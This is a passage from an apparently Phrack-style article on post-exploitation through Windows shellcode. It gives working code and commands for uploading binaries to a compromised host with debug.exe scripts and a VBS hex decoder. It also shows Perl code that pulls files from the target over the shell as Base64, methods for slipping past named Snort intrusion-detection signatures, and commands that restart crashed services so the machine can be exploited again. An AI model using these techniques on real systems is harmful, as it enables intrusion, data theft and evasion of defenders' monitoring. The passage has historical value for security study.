we can still transfer file using the shell we obtain from our One-way
shellcode. It is possible to reconstruct a binary file by using the
debug.exe command available in almost every Windows.
--[ 5.a Uploading file with debug.exe
We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
The echo command will construct a debug script which contains
necessary instructions code in hex value to create a simple binary
file. The last command will feed the script into debug.exe, which
will eventually generate our binary file.
However, we cannot construct a binary file larger than 64k. This is
the limitation of the debug.exe itself.
--[ 6.b Uploading file with VBS
Thus, a better idea to upload a binary file is to use Visual Basic
Script. VBS interpreter (cscript.exe) available by default in almost
all Windows platform. This is our strategy:
1. Create a VBS script that will read hex code from a file and
rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in
the target server.
4. Run the VBS script to translate hex code to binary.
A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.
dread: while (1){
$nread2 = sysread(INFO, $disbuf, 100);
last dread if $nread2 == 0;
@bytes = unpack "C*", $disbuf;
foreach $dab (@bytes){
$txt .= sprintf "%02x", $dab;
}
$to .= "echo $txt >>outhex.txt\n";
$nnn++;
if ($nnn > 100) {
print SOCKET $to;
receive();
print ".";
$to="";
$nnn=0;
}
$txt = "";
}
Then, we create our VBS decoder in the target machine - "tobin.vbs".
We can easily use "echo" command to create this file in the target
machine. This decoder will read the outhex.txt created above and
construct the binary file.
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
line = infile.ReadLine
For x = 1 To Len(line)-2 Step 2
thebyte = Chr(38) & "H" & Mid(line, x, 2)
file.write Chr(thebyte)
Next
loop
file.close
infile.close
Once the decoder is in the target machine, we just need to execute it
to convert the Hex code into a binary file:
# cscript tobin.vbs outhex.txt out.exe
--[ 5.c Retrieving file from command line
Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can
convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
Fortunately, all these file upload/downloading can be automated.
Refer to hellobug.pl in the Code section to see file transfer in
action.
--[ 6 Avoiding IDS detection
Snort rules now have several Attack-Response signatures that will be
able to detect common output from a Windows CMD shell. Every time we
start CMD, it will display a banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
There is a Snort rule that capture this banner:
http://www.snort.org/snort-db/sid.html?sid=2123
We can easily avoid this by spawning cmd.exe with the parameter of
"/k" in our shellcode. All we need to do is just to add 3 more bytes
in our shellcode from "cmd" to "cmd /k". You may also need to add 3
to the value in the decoder that count the number of byte that we
need to decode.
There is also another Snort rules that capture a directory listing of
the "dir" command in a Windows shell:
http://www.snort.org/snort-db/sid.html?sid=1292
The rule compares "Volume Serial Number" in any established network
packet, if there is a match, the rule will trigger an alert.
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622
Directory of C:\Documents and Settings\sk
06/18/2004 06:22 PM <DIR> .
06/18/2004 06:22 PM <DIR> ..
12/01/2003 01:08 AM 58 ReadMe.txt
To avoid this, we just need to include /b in our dir command. It is
best if we set this in an environment so that dir will always use
this argument:
# set DIRCMD=/b
# dir
ReadMe.txt
Snort also has signature that detect "Command completed" in:
http://www.snort.org/snort-db/sid.html?sid=494
This command usually generated by the "net" command. It is easy to
create a wrapper for the net command that will not display "Command
completed" status or use other tools like "nbtdump", etc.
--[ 7 Restarting vulnerable service
Most often, after a buffer overflow, the vulnerable service will be
unstable. Even if we can barely keep it alive, chances are we will
not be able to attack the service again. Although we can try to fix
these problem in our shellcode, but the easiest way is to restart the
vulnerable service via our shell. This usually can be done using "at"
command to schedule a command that will restart the vulnerable
service after we exit from our shell.
For example, if our vulnerable service is IIS web server, we can
reset it using a scheduler:
#at <time> iisreset
In the case of MS SQL Server, we just need to start the
sqlserveragent service. This is a helper service installed by default
when you install MS SQL Server. It will constantly monitor and check
if the SQL Server process is running. If it is not, it will be
started. Executing the following command in our shell will start this
service, which in turn, help us to MS SQL Server once we exit.
#net start sqlserveragent
Another example is on the Workstation service bug discovered by Eeye.
In this case, we don't have a helper service. But we can kill the
relevant service, and restart it.
1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger" <== optional
...
If we exit our shellcode now, we can attack the machine via the
Workstation exploit again.
--[ 8 End of shellcode?
Shellcode is simple to use and probably easiest to illustrate the
severity of a vulnerability in proof of concept code. However there
are a few more advance payload strategies released to the public by
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The
References section provides a few good pointers to get more
information. We hope you enjoy reading our article as much as other
quality article from Phrack.
--[ 9 Greetz!
There are many good fellows we would like to thank for their
continuous source of information to feed our hunger for knowledge.
Without these guys, the security field will be boring.
My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and
the rest of =da scan clan=, Ey4s, San and all that support XFocus
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh!
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost!
BrightVaio! L33tdawg and the rest of HackInTheBox team!
Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many
others Blackhat speakers for their excellence research!
--[ 10 References
* Code to this article:
http://www.scan-associates.net/papers/one-way.zip
* Shellcode and exploit:
HSJ - http://hsj.shadowpenguin.org/misc/
* More shellcode!
HD Moore - http://www.metasploit.com
* Advance payload:
CORE Security
* Syscall Proxying (http://www.blackhat.com/html/bh-usa-
02/bh-usa-02-speakers.html#Maximiliano Caceres)
* Inlineegg
(http://oss.coresecurity.com/projects/inlineegg.html)
* LSD (http://www.hivercon.com/hc02/talk-lsd.htm)
* Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
speakers.html#Riley Hassel)
* Dave Aitel (http://www.immunitysec.com/MOSDEF/)
* Alexander E. Cuttergo (Impurity)
--[ 11 The code
Please see http://www.scan-associates.net/papers/one-way.zip
|=[ EOF ]=---------------------------------------------------------------=|
